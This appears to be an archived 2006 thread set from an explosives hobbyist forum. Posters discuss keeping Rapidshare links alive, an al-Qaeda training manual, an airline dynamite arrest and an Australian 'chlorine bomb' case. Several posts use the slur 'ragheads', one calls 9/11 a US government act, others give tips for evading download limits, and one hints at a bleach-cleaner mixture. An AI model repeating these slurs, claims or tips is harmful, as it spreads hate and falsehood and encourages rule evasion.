Much Less work in the long run if you ask me since you don't have to download every file every 3 weeks, only the ones that need to be.
I'll be one of the 1st to volunteer for this job since I have already started a Collectors Section, but I can't handle all this work by myself, and would need others to lend a hand,
2-3 others would be nice. Currently I'm w orking on my old uploaded links. And will begin working on other peoples posts after all my old links have been added to my collectors
section.
Fell free to jump in, and help out! It's all about the spreading of information & leaning, which is w hy most of us are here I believe, and this way we can be sure to keep these
links active for a long time to come.
****Edit****
P.S
Before you start a Collectors Account for the above, we should talk it out over here & through a PM and w ork out who's dow nloading what etc, before. We only need a few
people to maintain these links, since it will just get confusing if too many people are involved and posting.
c.Tech September 1st, 2006, 09:24 PM

Good idea Dank$ta, I'll be the 2nd volunteer.
I've got about 10 gig of broadband downloads that are never used so I can get lots of the files downloaded for the library.
Also I have been talking to Hitech_Hillbilly through PM and he seems like he w ould help out.
When you get a premium account you will need to keep getting points to keep it alive, or paying.
Would Rapidshare accept money orders because I want to keep my identity secret?
EDIT: New thought, if somebody has a Collectors Section they could test to see if the 30 day limit need to be broken with a full download, w ithout the w ait.
Check one of your files too see how long since its been downloaded, start downloading it but then cancel within seconds of the dow nload, now re-check the days since last
download (hopefully it says 0).
Dank$taVegas September 2nd, 2006, 01:26 PM

Good idea Dank$ta, I'll be the 2nd volunteer.
Aw esome, I'll send you a PM and we can talk some more about it there.
About this idea for a forum Library "Rogue Science Library", I have been thinking it might be a nice touch to do w hat some members over at SM have done with their post, and
link up the the books cover to the post of each link. Would give the library a nice clean look to it, and give downloaders a better Idea of what it was they were dow nloading.
Although it might be a little time consuming to do this, and maybe not w orth the effort, if we have hundreds of links; and it will also kill people with slow connections to load up
all the covers.
When you get a premium account you will need to keep getting points to keep it alive, or paying.
The amount of people who are downloading these files, will generate enough points to keep the accounts we get active (I think & hope). If every file w e have here on the site
is linked up to a Correctors Section of Rapid Share, We would generate lots of points tow ards these premium accounts and can spread them around to some forum members. If
my plan dosen't work, then we could make the accounts a shared leaching tool for select forum members.... But some places have already tried this, and it dosen't seem to
work too w ell.... Some one always ends up changing the password and stealing the account.
So we will just have to play it by ear and see what happens in reguards with the free accounts w e generate.
Now the test is to start the transfer of VTS_01, and stop it almost as soon as it has started.
I have also uploaded a test file I started the download, and stopped it a few seconds into the dow nload, and will report back with my findings as well in 1 month. (When I
refreshed my page, it says the file has been dow nloaded 1 time.
c.Tech September 3rd, 2006, 06:44 AM

Some one always ends up changing the password and stealing the account.
Thats why it should only be controlled by trusted people, i.e. mods. There are probably other people apart from mods that can be trusted too.
Maybe email Rapidshare asking them to make sure your password is never changed, but that w ould be a dead give aw ay that your doing w hat they dont want you too and
they give w arning on it.
Warning: It is NOT allowed to create accounts and spread them in the public. If w e see that an account is used by many people, we will close it without warning.
I dont think its worth the risk. Even with careful notification of w ho is using the account when there could still be slip-ups causing all the files to get deleted.
Also it would be extremely suspicious many IPs logging in the account from around the world.
I have also uploaded a test file I started the download, and stopped it a few seconds into the dow nload, and will report back with my findings as well in 1 month. (When I
refreshed my page, it says the file has been dow nloaded 1 time.
I did the same test with the same results. If it counts as a full download there is no need to check it in 30 days.
Although this causes a different problem. When the download is stopped and you try to open another it says your IP is already downloading a file. I dont know how long this
would take to go away but it can simply be overcome by changing your IP in command prompt, thats how I get around download limits.
BTW, if you get a premium account make sure you are and will continue to get more than enough points coming in to support the account. Because if in 30 days you dont have
enough, bye bye account :(.
EDIT: If you got a premium account and the files from your collectors account moved to the premium (I'm assuming thats what happens) would they all get deleted if the
account closes?
Dank$taVegas September 5th, 2006, 03:41 PM

Maybe em ail Rapidshare asking them to make sure your passw ord is never changed, but that would be a dead give away that your doing what they don t w ant you too and they give
warning on it.
It's best to just keep it between the site here, and not involve Rapid Share, so as not to draw attention to what we do.
Also it would be extremely suspicious m any IPs logging in the account from around the world.
I doubt they really check accounts to monitor who logs in... I couldn't even guess how many people use Rapid Share but it's a lot.
I haven't had a chance to read all the fine print on the Rapid Share page, but I will take a look into it when I get back from my work tour w hich starts friday, I will be gone for
at least 3 w eeks +. I won't have any free time from no till then to do this, and the site library will have to w ait (at least on my part) till my tour is over and I have time to kick
back and bask at home.
If others w ant to start it, then I can E-mail a list of what I have already uploaded as a referance (some 300+ files). I'll try to check back later tonight, and tomorrow if I have
any time.
Crypticglitch September 7th, 2006, 02:04 PM

using paypal for anything is not a good idea they are worthless and w ill turn you in for anything
MinorFunctionary October 5th, 2006, 09:07 PM

Anything that I had to contribute, has already been posted by others. I have only dial up here and my system is almost as antiquated as I, but if I can be of assistance in
keeping these links alive, let me know . I am more than happy to help in this worthwile project... I note that a lot of links have gone dow n as of this writing

The Explosives and Weapons Forum > Knowledge and Information > The Water Cooler > Terrorist training manual
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View Full Version : Terrorist training manual
Nihilist August 31st, 2006, 08:09 PM

I was watching a documentary on, I think it was the History channel, a few days ago and they mentioned that Bin Laden & associates compiled a 10,000 page "terrorist training
manual" for their new recruits to read. Now, since these guys are the real deal, their information has to be effective in the actual real world. Where the "anarchists cookbook"
and all those other kewl books are a total waste, i'd think something like this would have some genuinely useful shit in it.
I'm just wondering if anyone out there has access to it, or if we as a forum could find some way to obtain it(If I were the terrorists, i'd want it to be as easily accessible as
possible, since they have to assume the CIA/FBI have already read it, hell the CIA probably wrote most of it for them during the 60's). I think it'd be a very interesting thing to
browse through. Of course - if something like that were hosted here...we'd run the risk of being pretty directly associated with real terrorism/terrorists, so I guess that's a call
that mega/nbk would have to make. But I think it's a subject worth exploring further.
EDIT: Before anyone gives me shit about not googling, i'm not talking about the "terorrist handbook" and other 100 page kewl-cookbooks of that variety.
EDIT2: This appears to be a real, though smaller, version. It was apparently released by the DOJ:
http://www.fas.org/irp/world/para/aqmanual.pdf
EDIT3: Sorry for all the edits, but i'm adding new information as I find it. According to this site:
http://www.thetulsan.com/manual.html
As well as a few others, the larger one is 7,000 pages long, is titled "The Encyclopedia of Afghan Jihad", and is "only available to high-level CIA operatives". So we either need
to get the CIA or the terrorists to leak it to the 'net =p.

Supposedly the 'real' manual is just a bunch of stuff taken from online k3wL recipes and old loompanics books, along with some other k3wL-type shit.
Seems even the jihadi's can't tell the difference between BS and the real-deal.
Now, everything I said in the first sentence is subject to possible CIA disinformation, so who knows? Maybe the jihadi's manual would make us all weep for joy at the breadth
and depth of tomeic knowledge it imparts to any who possess it. Like a Necronomicon of EW. :)
Given how dismal their track record has been since 9/11 (and I still think that was done by the US government itself), I'd say the book doesn't exist outside of urban legend.
megalomania September 1st, 2006, 09:54 AM

The great tome of arab info is neither great, nor all that much arab. Indeed there are many pages, and indeed those pages cover many aspects of improvised explosives,
weapons, and military matters, but most of the information is English material translated into raghead scribbles (aka arabic).
The material is one step above being a crapbook written by kewls. I say one step above because the content is actually written by people with a passion for their work. They
have a divine mission to kill the infidel (thats us), and so they have a motive to produce something capable of accomplishing that task.
Unfortunately the material is still crapbook caliber because it is written by amateurs and laymen drawing largely from publicly available material and other crapbooks.
If the books were written in English they would be superior to any crapbook in existence, but they would still fall short of the standards of The Forum.
anonymous411 September 1st, 2006, 08:38 PM

"Only available to high-level CIA operatives"? Bullshit. Somebody forwarded me a translation of the unedited version as an analyst at a DoD think tank in 2002. I might still
have a .pdf in my work archives, but it was so worthless I may not have bothered to save it.
In sum: what a huge letdown! I didn't learn a damn thing, and found it to be inferior even by crapbook standards. You could learn more at TOTSE, much less here. It's no
exaggeration to say dozens of people on this forum could write a better one. As if that weren't bad enough, it was shot through with a bunch of rambling religious verbiage. But
then, what do you expect from people who have no respect for science.
Though it would surprise me if this was the best they had, I don't think the entire project was a product of CIA disinformation. If it were, you'd be likely to see slight
modifications slipped into complex formulas that would render them lethal to the person making them. Come to think of it, getting your enemies to blow themselves up doesn't
sound half bad.

Though it would surprise me if this was the best they had,
Honestly it wouldn't surprise me. Just look at any real information on the ragheads. They go around killing thousands of themselves while only very rarely actually killing us.
Whitey September 12th, 2006, 03:53 AM

It's not that hard to find terrorist training manuals. That's easy they do their best to make them availible if you look for them in the right places. The problem is that they are all
in Arabic.

Yeah, even if they were in English, it would be impossible to wade through all the religious bullshit.
Lets face it guys, as much as it hurts, the ragheads have better encryption than us.
Who the fuck is going to translate all their squiggle and religious muttering into a decent fucking language *wink*?
megalomania September 13th, 2006, 02:54 AM

It may interest some to know I recently found an Arabic translation of my webpage on making acetone peroxide included in some raghead material. The graphics didnt
work, and I could not read the text, but I recognized the format of the page as mine. A little digging and it turned out to be my AP procedure.
They say imitation is the best form of flattery
The thing is, they added to it. There are some illustrations and extra text. Must be prayers and compliments for President Bush, eh?

If they cant write their own information lots of their stuff would have to be taken from crapbooks like the anarchists crapbook.
It's things like this that caused the iDefence incident "Oh please, take RS down their supporting terrorists, think of our children, RS is putting us all at risk".
Is there any way we can get them to take it off? ...Probably not if they only speak raghead.
Tom Campbell September 13th, 2006, 11:06 AM

I'd start with the CIA Black Book. It used to be available from Desert Publications in AZ. Interestingly enough, it has the Ramsi Youssaf Bojinka device in it. Another document
which may still be in print is the Cuban Training manual circulated to the Angolans in the 60's and 70's and widely copied particularly for its esoteric timing systems.
Cheers,
TC.

Much of the rest of the information from the raghead source are US Army training manuals translated into rag squiggle. There is some Russian stuff from what I can tell from
the pics, as well as some translated crapbook material. Basicially it looks like they took a broad cross section of publically available material and distilled it down into one large
collection, with translation into squiggle.
mrtnira September 22nd, 2006, 09:06 PM

Tom, can you provide the title of the Cuban training manual?
I'm a historian by training, and an archivist-collector. Getting an actual title for the document would help me track it down.
Thanks for your help.
IronMongrel September 27th, 2006, 12:36 AM

I think you guys are missing the point here, ok so the rag heads have a scrap book of techniques they have compiled. Thats as long as it isnt a plant in the first place,
something maybe to given a tangible face to their terrorist intent.
They have something far more interesting/exciting (to young muslims) than that. They have a vast battle front that stretches from Chechnya, down through the Caucasus, into
Iran Iraq and on into Afghanistan and Kashmir.
They dont need manuals, they have instructors, they have vast areas to hide in or locate training camps, they have lots of experience, they can trial and error things.
They may lack the expert chemists, but they have alot of space to experiment in.
They are definitly in control on most of this ground, with islands of occupation manned by coalition troops posing a significant but not overwhelming threat.
If I was a young muslim I'd be very attracted to this, something to talk about to your dull mates in Bradford.
FUTI September 27th, 2006, 02:06 PM

They have something far more interesting/exciting (to young muslims) than that. They have a vast battle front that stretches from Chechnya, down through the Caucasus, into
Iran Iraq and on into Afghanistan and Kashmir.
They dont need manuals, they have instructors, they have vast areas to hide in or locate training camps, they have lots of experience, they can trial and error things.
If I was a young muslim I'd be very attracted to this, something to talk about to your dull mates in Bradford.
True. Have always in mind that they finance their job through illegal activity such as drugs&fun. Their chain of supply is then streched almost to your home and very efficient.
I bump on some article that was recently some arrest in Europe where police of two countries colaborated in capturing a group of Palestinian (I think) alleged terrorists whom
had a plan to set a bomb in jewish part of Praha. They were in some Scandinavian country and money for the group had supply an Albanian "drug lord". Well the "Vikings"
didn't like the idea and call the Poland police so they can lock them. So the area of their action is spreading.
akinrog September 27th, 2006, 08:35 PM

True. Have always in mind that they finance their job through illegal activity such as drugs&fun. Their chain of supply is then streched almost to your home and very efficient.
While some of them (at least Afghan Talibans) finance their activities through dealing drugs or growing drug raw materials (i.e. poppy), majority of money comes from rich
theocratic Arab countries under the nose of US.
For example, culprits of two major bombings (suicide truck bombings) which took place in my country, killing about 500 people, just before beginning of Iraq operation,
confessed that they received $ 50,000 for the job from a contact located in an oil rich theocratic Arab country. However, in order to not make an international scandal, the issue
was sweeped under the rug. :mad: :mad:
I bump on some article that was recently some arrest in Europe where police of two countries colaborated in capturing a group of Palestinian (I think) alleged terrorists whom
had a plan to set a bomb in jewish part of Praha. They were in some Scandinavian country and money for the group had supply an Albanian "drug lord". Well the "Vikings"
didn't like the idea and call the Poland police so they can lock them. So the area of their action is spreading.
Actually, one must not confuse Palestinian terrorists with regular Abdullah bin Fundamentalist. While Palestinians are generally targeting Judaists, Abdullah bin Fundamentalist
choses the entire world for its battlefield. Regards.
FUTI September 28th, 2006, 12:32 PM

Akinrog I thanks for correct information about incident. As you can see from the text of mine post I wasn't sure about those info I read in that article, because today it seems
that anyone who can write find itself capable to be a journalist.:( What I write in the post is what the article said - if the journalist made a grave error, so did I following its
stupidity. I'm aware that Palestinians mostly cause problems in Israel, but there were few exeptions, enough to make that blatant journalist error plausible. Fact that very few
of us engage deeply into study of islam fundamentalism to the point that it can make a distinction between this or that group is bad as it makes things more complicated.
Understanding of the adversary is one of the key point of battle.
The fact that America influenced by its Jewesh population created the problem of Israel and Palestine is simply an excuse for todays fanatical islam fundamentalist. UK was
proposing a different location for setlment of European Jews that wanted to emigrate from Europe (due to painfull memories to WW2) I think, but was overruled by USA. On
the other hand considering the fact that UK diplomacy created Iraq - Kuwait problem, I gather an impresion that USA and UK should try to back off a little from the East as
their diplomacy create more damage then profit. They simply don't comprehend their culture enough to be able to make a positive effort.
And Arabs domestic exploitators are using the old tactics for calming up the growing malcontent of the masses by "secretly" (but infact so that everyone know) funding the
"holy cause" IMHO. The percent of their income they use for that purpose isn't large...but boy what an income they have. I stated a drugs&fun bussines not only as a way of
funding the operations but also as logistic point. Who can smugle the prohibited items (like weapon) then drug&people smuglers? And don't forget that all three-letter-agencies
of the world as we know it use the same channels and funding (like CiA in the South-East fun&games). It really strikes me "deeply" to find how CiA is suprised when it discover
that some of their former allies/employees and now enemy of the state si deeply implicated in drug production/distribution.
IronMongrel September 28th, 2006, 03:39 PM

Have always in mind that they finance their job through illegal activity such as drugs&fun. Their chain of supply is then streched almost to your home and very efficient.
Broadly speaking i agree with this, the heroin trade in the UK is controlled mostly from Pakistan, by British born Pakistanis, these people arnt just wealthy middle men, they are
intimatly conected with the varous groups in Afghanistan and Pakistan that are producing opiates.
The trade is quite vast, evidenced by the vast armys of junkies wandering the streets of Britain. We are talking vast sums of money just from the one drug. They also produce
high grade hashish too.
Much of this same Afghani heroin is also dumped on the continental European market, though much of this trade is controlled at the retail end by Kurds to finance their ongoing
war with the Iraqis/Turks/Iranians.
In the end though 99% of heroin in europe comes from Afghanistan/Pakistan.
As evidence i would cite the Kurds, i doubt very much that they get financed by rich Arabs, since they arnt Arabs and their fight is with other muslims not with us.
Despite this the Kurds not only manage to raise enough money to equip their small army, they have been running satellite tv stations out of London for years.
All this was happening long before the Kurds had an autonamous zone in the north of Iraq.
Columbian and Bolivian paramilitarys conected with drug lords arent financed by rich Arabs either, and yet they dont lack hardware.
So all i can say is:
Support your local jihad, become a junkie!:rolleyes:
FUTI October 1st, 2006, 03:38 PM

This topic seems to strayed a little and I'm one of the culprits. In order to bring topic back on track I want to ask a simple question. All media and government agencies are
going mad and running around pointing fingers around naming names (and we are one of the named too).
Do you think that with the WWW existence anyone can stop information dispersal/proliferation (you name it as you wish) on any subject including E&W?
WWW predecesor is designed as military project to prevent information be destroyed in the event of nuclear WW3. Therefore we can expect that information once entered in
the realm of WWW stay there indefinitely long. Since WWW is doing what it is buit for it seems that instead finding a way to resolve real problem (if it is posible and terrorist
group that causes a problem isn't some fanatical dooms day religious madhouse) which supose to be a job of diplomacy, politicians involved in business are looking for
someone to blame for their blunder.
It seems so conveniant that truth and science get in a way...every politicians dream is to crush those pesky little question asking boring guys who happens to interfere with
their orgies/drinking/robbing tax payers etc. Information isn't enough to do the job. I know a lot of thing about chemistry, but I can't execute every reaction I can write on a
piece of paper (yeah, sure, just wait a little so I can digg up my home made 300Celsius 120atm homemade 300l reactor and will call you in the morning).
It is important for scientist have the information but having the means, oportunity and motivation is what is the pushed aside by media on purpose if you ask me. What they
are trying to do reminds me on a burning (one of the numerous pilage) of library of Alexandria. When asked what they should do with the library some Muslim leader (I forgot
which one sorry) responded - if in those book is written what is said in Koran we don't need them since we have Koran, if not then those book are heretic and should be
burned - so burn them anyway. Side info despite this bigest burning of Alexandrian library is done by christians as I remember...I say this only to prevent yet another we
christian are good them muslim bad follow up post.
nbk2000 October 3rd, 2006, 02:54 AM

Considering how the internet was built by the American Military-Industrial complex for its use, and how most of the worlds internet traffic flows through US backbones, I'd say
it's pretty possible for the US government to disrupt most, if not all, internet traffic for the world, shutting it down.
And also remember, that for every age of enlightenment, there is a dark age of ignorance.
We've had our enlightenment quota filled already, thank you very much.

The Explosives and W eapons Forum > Knowledge and Inform ation > T h e W ater Cooler > C onn. Student Heads To Court
On Explosive s C h a r g e
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megalomania S e p t e m b e r 2 nd, 2006, 11:06 AM

Dateline HAR T F O R D , C onn. An NBC News story.
http://www.nbc30.com /news/9746701/detail.html
A 2 1 - y e a r - o l d s t u d e n t f r o m O l d L y m e , C o n n . , i s s c h e d u l e d t o a p pear in federal court Monday after bringing something on to an

a i r p l a n e t h a t h e s h o u ld not have.
Huck Fish is accused of bringing a stick of dyna m i t e o n b o a r d a C o n t i n e n tal Airlines flight.
Fish was arre sted Frid a y a f t e r t h e i t e m w a s f o u n d i n h i s c h e c k e d b a g g a g e b y b o m b-sniffing dogs during a stopover in Houston.
The man was returning after a trip to Argentina. Fish's father told NBC 30 News that his son had go tten the dynam i t e a s a
souvenir while touring a mine.
From North Jersey Me dia Group

A college student on a flight b ound for Newark Liberty International Airport was detained in Houston on Friday after authorities
f o u n d e x p l o s i v e s i n h is bagga ge, federal officials said.
Although Howard MacFarland Fish, 21, was being held in T e x a s , t h e F B I d e t e r m i n e d t h a t h e d i d n o t i n t e n d t o c o m m it an act of

terrorism, according to U.S. Im m igration and Customs Enforcement. Still, ICE age nts were consulting with federal prosecutors to
determ ine whether to charge Fish with a criminal offense.
The Continental Airlin es flight was one of six U.S. flights affected by security concerns Friday.
Continental's Newark-bound flight originated in Buenos Aires, Argentina, and stop p e d i n H o u s t o n a bout 6 a.m ., where
passengers exited to clear custom s . A f t e r a C u s t o m s d o g s i n g l e d o u t F i s h ' s l u g g a g e , a g e n t s i n s p e c t e d h i s b a g a n d d i s c o v e r e d
"prohibited e xplosive items," according to a statem ent issued by ICE.
It was unclear what those item s were. The Houston Fire Departm ent said Fish had a stick of dynam ite. But a Custom s
spokesman in W ashington said Fish had a vial of amm onium nitrate, a powder used in explosives, in his checked luggage,
and a fuse in his carry-on bag g a g e . T h e p l a n e w a s c a r r y i n g 1 7 3 p a s s e n g e r s , C o n t i n e n t a l s a i d .
Federal officials would not cite Fish's explanation for carrying explosives. However, Fish a junior at Lafayette C ollege in
s o u t h e a s t e r n P e n n s y l v a n i a , s a i d h e w o r k e d i n m ining and often handled explosives, fire officials said.
"It turned ou t the guy worked in some mine fie ld in Ecuador," Assistant Fire Chief Om ero Longoria said. "That is where he was
traveling from."
A woman who answered the phone at a house in Old Lym e, Conn., thoug ht to be his parents' home, said she was related to
Fish but declined to com m e n t .
Longoria said fire officials held the plane at Houston Ge orge Bush Intercontinental Airport for about an hour. Customs and FBI
agents then inform ed firefighters "there was no identified threat to the aircraft," so fire officials allowed it to leave for Newark,
Longoria said. It departed at 8:49 a.m .
W hen the plane landed in Newark about 1:40 p.m ., the airport's operator ordered it board e d a n d s c r e e n e d a t a s e c u r e a r e a .
A b o u t 1 7 0 p a s s e n g e r s h a d t o d e p l a n e a n d w e r e t a k e n b y b u s t o term inals, Port Authority spokesm an Marc La Vorgna said.
"Eve rything else was determ ined to be OK," La Vorgna said. "It was an extra, precautionary m e a s u re."
From News.com .au

From corresp o n d e n t s i n W a s h i n g t o n
August 26, 2006 05:17am
A MALE passenger was detained in Houston overnight when "exp losive residue" was detected on his clothes after he
d i s e m barked from a C o n t i n e n tal Airlines flight from Buenos Aires, US officials said.
The flight continued on to Newark Airport, New Jersey, without the passen ger, or h is bagga ge, but authorities decided to order a
precautionary security sweep of the aircraft when it landed.
"He was goin g through the custom s area when they detected som e explosive residue," Transportation Secu rity Administration
(TSA) spokeswom an Andrea McCauley said.
"That individual is now being held by the FBI," she said, adding that explosives sniffing dogs had been brought in to check the
passenger's baggage .
No details were available of th e m an's identity or nation ality.
megalomania S e p t e m b e r 2 nd, 2006, 11:07 AM

So, which is it, he had residue on his cloths, or on his lu g g a g e ? D o y o u s e e h o w o ften the journalists get the facts wrong whe n
reporting a story?
S o m e crack security team . He was able to get the stick of dynam ite on board. Maybe if it was in a water bottle they would ha ve
arrested him at the gate
As for Mr. Fish, all I can say is dumb ass.
nbk2000 September 2 nd, 2006, 01:37 PM

If th e m an was on the plane with a BOMB!! all the way from south am erica to Hou ston, TX, and he did not set it off, then
what's the likelyhood that he would have at all?
Oh, and what's the point in se arching the plane at its final destination AFTER y o u ' v e l e t 1 7 3 p a s s e n g e r s b a c k o n t h e p l a n e t o
potentially be blown out of the sky after you've pulled a BOMB!!'er off the plane?
:rolleyes:
Another perfect exam ple of what Bruce Schneier calls "Security Theater"...useless dram atics for the sake of placating the
sheeple.
jellywerker S e p t e m b e r 3 rd, 2006, 03:30 AM

Hm m, heard of the farce that was the supposedly foiled attack in the UK with gatorade explosives or sum m at? BBC, FOX, an d
CNN all had different stories! Looks like the governot isn't doing a good job of m aking sure it's sheeple pla cating stories ma tch
up! I really a gree with you NBK about "security theater."
How much of what the news fe e d s u s d o you think happened in the way it is told? Or that it happened at all?
+++++
Yes, we know about the 'liquid explosives' scare. You m ight want to UTFSE to find an existing thread about that.
NBK
BeerWolf S e p t e m b e r 4 th, 2006, 06:57 PM

BBC, FO X, and C NN all had different stories! Looks like the governot isn't doing a good job of making sure it's sheeple
placating stories match up! I really agree with you NBK about "security theater."
S o m e is "security theater", but a lot of it is peo ple push ing so hard to be "first" with a story that they don't check any facts. If
they can't tell the story in a 15 second sound bite, they're afraid the the watcher will wander over to another channel.
Ropik S e p t e m b e r 5 th, 2006, 03:09 PM

And he should wander... to the rem ote control and turn the damned thing off.
I t s t e a d i l y m a k e s l e s s a n d l e s s s e n s e t o m e . A s f a r a s I k n o w , t h e s e s e c u r i t y m e a s u r e s u s e d t o b e a t l e a s t a b i t r a t i o n a l - e .g.
searching for weapons and explosives before boarding. But checking for them after the flight...
Maybe he wa s taking it with him to actually lessen the p robability of a bom b attack? The probability that the plane will have an
explosive onboard is not so high. The probability that it will have two explosive charges onboard is even less.
I know it is n o n s e n s e , b u t c a n s o m e b o d y b e r e a l l y s o d u m b t o t a k e a d y n a m i t e s o u v e n i r o n a p l a n e ?

The Explosives and Weapons Forum > Know ledge and Information > The Water Cooler > Australian Teen Faces Explosives Charges for Chlorine Bomb
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August 26, 2006 02:23pm
Article from: AAP
A teenage boy has been charged w ith making explosives after two houses w ere attacked with chlorine bombs in Brisbane.
The 17-year-old allegedly threw the bombs at a house in Hollywood Street, Runcorn, and a house in Taminga Street, Sunnybank, both on Brisbane's southside, on Wednesday,
police said today.
The bombs, which the teenager is alleged to have made, caused only minor damage to the properties, a police spokesman said.
The boy, from Brisbane's southside, w ill appear in Brisbane Magistrates Court on September 14, facing two charges of manufacturing explosives and tw o of causing wilful
damage to a dwelling.

Oh, this ric h. You call something a bomb and you get explosives charges slapped on you. This sounds like the boy m ixed som e Sani- Flush and bleach in a pop bottle. This is neither a
bomb nor an explosive by any stretch of the imagination. Of course, it is easier for the sheeple to digest the word bomb instead of chlorine generator. Unles s the boy had somehow
managed to duplicate the Second Battle of Ypres, the charges against him are baseless. This is his lawyers job, though. How ever, this is Australia, and for all I know he faces summary
execution for violation of the Chemical Weapons Convention. If he is guilty of violating the CWC they should give him a billion dollars in bailout money and let him build a nuclear
reactor for his energy needs. Thats how the UN w orks right?
HoS September 2nd, 2006, 03:18 PM

I remeber reading about some teens in the US that got arrested for some "The Works" and Al foil "bombs" I'll see if I can dig up the story. In the "news"' story they got some
sheeple to talk about how quite the place is/w as and how they wonder w hy any one can do something so dangerous. :rolleyes:
Its getting worse for us hobbyists, imageine the hayday the media w ould have with true HEs... :(
*edit* typo
Alexires September 3rd, 2006, 08:57 AM

For those that care -
"explosive" means
(a) gunpow der, nitro-glycerine, all compounds and mixtures containing nitro-glycerine, gun-cotton, blasting powder, fulminate of mercury or of other metal, coloured fires, and
every other substance, whether similar to those abovementioned or not, used or manufactured with a view to produce a practical effect by explosion or a pyrotechnic effect;
and
(b) fog-signals, fireworks, fuses, rockets, percussion caps, detonators, cartridges, ammunition of all descriptions, and every adaptation of preparation of an explosive as above
defined;
They might try to get him on the last part of part (a) or (b).
If they do -
(3) A person w ho manufactures an explosive at an unauthorised place is guilty of an offence.

Maximum penalty:
(a) in the case of a body corporate $35 000;
(b) in any other case $5 000 or imprisonment for 12 months, or both.
Interestingly enough is this (for licensed premesis) -
(2) This section shall not apply to explosives kept by any person for his own use, the weight of w hich in the case of gunpow der does not exceed 15 kilograms, or in the case of
any other explosive, 3 kilograms, but that in no case shall the exemption provided for by this subsection extend to the keeping of more than one hundred detonators.
Anyway, I'm thinking they will get him with part (a) with the "produce a practical effect by explosion".
Bugger for him, what they hell was he doing anyw ay? Stupid kew l.

I dont think he w ill get very long, if any time because of the common sense they have to put behind every case. They also have to look at previous cases in higher courts and
follow the decisions made in cases with the same circumstances.
I dont think there would have been many cases in the same circumstances w here a 17-year-old actually got convicted.
Wait a tick, magistrates? Wouldnt he be going to the childrens court, which is no the same level as the magistrates court?
But I fear for the kewl that changes may have been made to that act or a new act brought into place during the time of terrorism we live in.
I'm basing all my know ledge on the Victorian law system which Im guessing is nearly exactly the same as QLD.
P.S. Was the act on a federal or state level? Because it could get overruled if a federal act was brought in.
nbk2000 September 3rd, 2006, 11:09 AM

The 17-year-old allegedly threw the bombs at a house in Hollywood Street, Runcorn, and a house in Taminga Street, Sunnybank,...
That's the part that'll stuff him, the throw ing of the 'bombs' at houses.
It's one thing to set off a 'bomb' in a deserted field, and an entirely different thing to throw them at an occupied house.
festergrump September 3rd, 2006, 11:24 AM

...and an entirely different thing to throw them at an occupied house.
Add to that if the occupants are "people of color" and the defendant teen is w hite. Now you have a "HATE crime"!:rolleyes: "Oh, the horrible little Nazi bomber...".
FragmentedSanity September 3rd, 2006, 11:48 PM

By chlorine "bomb" I was thinking it was more likley a tw o part incendry mix, as hes being charged w ith damaging a dwelling; w hich to me implies more than just a slight
gassing.
Also caling it an explosive implies there was at least fire. I know of case where methylated spirits was termed "Gunpowder or other explosive" by the police and the DPP.
The fact he repeated the action at a second house only goes to prove that deliberatley trying to cause damage; ie willfully carrying out a crime.
The fool will probably get off the explosive charges. But the charges for damageing property will likley stick.
Of course I could be w rong - it would be interesting to here some more details on the case, we may after it goes to court.
Alexires September 3rd, 2006, 11:54 PM

Not sure c.Tech, it is an absoloutel bitch to work ones way through the legal bullshit.
I'm betting that there will be some kind of federal law over the top of that, but still, it was an interesting side note.
Not sure c.Tech, it is an absoloutel bitch to work ones way through the legal bullshit.
It is also almost impossible to find the right act through the net.
I was trying to get the right act for drug charges for a legal studies project and they w ere near impossible to find.
I resorted to using the NSW act.
I'm betting that there will be some kind of federal law over the top of that, but still, it was an interesting side note.
When there is a federal law on top of a state law , the state law no longer exists.
It is either federal or state, another problem is it could be from a different state like WA.
I'm guessing universally the laws w ill be near exactly the same from state to state.
shady mutha September 4th, 2006, 04:31 AM

The bottom line is its a dangerous hobby w ere caught up in, and in the current legal climate you dont want be caught with chemicals or doing anything with explosives. You can
bet your bottom dollar you will be made a example of.

Oftentimes, at least in American cases like this, the suspect gets many charges leveled against them by the police, but very few of those charges actually stick in court. Cops
alw ays charge you with everything in the book hoping that something will stick, but then the lawyers who actually have educations and a real knowledge of the law sort
everything out.
What w e read in the headlines are only about terrorist suspects causing death and destruction with explosives and bombs. What we do not read are the follow-up stories weeks
or months later, buried somew here past page 6, where the suspect gets community service for acts of vandalism.
I have a relative who was accused of making terroristic threats against his school shortly after 911 that resulted in tow n-wide panic, ominous headlines, and a witch hunt. If I
didnt know him I never would learned that he was not actually charged with anything, and only received a lengthy suspension. It w as all blown completely out of proportion.
The threat was an off color remark made in a chat room to a teenage girl, w ho in turn embellished the threat to school officials, who further embellished the danger to the police
and the media. By the time the real facts of the situation were known, nobody cared anymore. The new spaper had its headline, sold a few extra copies, and promptly buried
the follow -up in a small paragraph a month later.
Hobbit Porn September 5th, 2006, 12:30 AM

Wait a tick, magistrates? W ouldnt he be going to the childrens court, which is no the sam e level as the magistrates court?
No, it's correct that he will appear infront of a magistrate. With regard to criminal cases, people are seen as adults once they are of the age of 17.
I'm pretty sure this applies to all of Australia, not just Queensland.
inventorgp September 5th, 2006, 01:20 AM

Runcorn eh. There are a lot of gangs dow n there. I'm glad I don't live on the Southside.
Actually, most adult sheeple think that when you are 18 you are a responsible and mature person. Although the legal adult age varies. He would have been better off making
500g of AP (and not throw ing it at a house) than a stupid chlorine generator. The chlorine is more lethal than the plastic bottle anyw ay. He probably got in trouble from the
damages he caused.
500g of AP referring to Explosives Act 1999.

I once had a fellow student jokingly threaten me with bringing a gun to school and shooting me. Someone overheard and turned him in. After sitting in a juvenile detention
center for a w eak (and missing his moms wedding) they released him w ith no charges. He happened to be one of my many stupid friends.
I think they need to stop blow ing everything out of proportion. Unless someone w as seriously hurt, or someone w as really going to die, they should just leave it alone.

That will never happen. Stop blowing things out of all proportion, and people might be able to get on with things, and become a mite more self-reliant, rather than clamouring
for yet more rules, guidance (that becomes law) and more power to others, so they may better tell you what to do and think.

I found the Victorian crimes act 1958. http://www .austlii.edu.au/au/legis/v..._act/ca195882/
Here are the relevant section. I dont think there is anything about bottle bombs. Maybe the law makers at parliament got something right for once .
http://ww w.austlii.edu.au/au/legis/vic/consol_act/ca195882/s317.html
CRIMES ACT 1958 - SECT 317
Offences connected w ith explosive substances
317. Offences connected w ith explosive substances
(1) In this Division unless inconsistent with the context or subject-matter-
"explosive substance" includes-
(a) any material for making any explosive substance;
(b) any apparatus machine implement or materials used or intended to be

used or adapted for causing or aiding in causing any explosion in or
with any explosive substance; and
(c) any part of any such apparatus machine or implement.
(2) Any person who unlaw fully and maliciously causes by any
explosive substance an explosion of a nature likely to endanger life or to
cause serious injury to property shall, whether any injury to person or
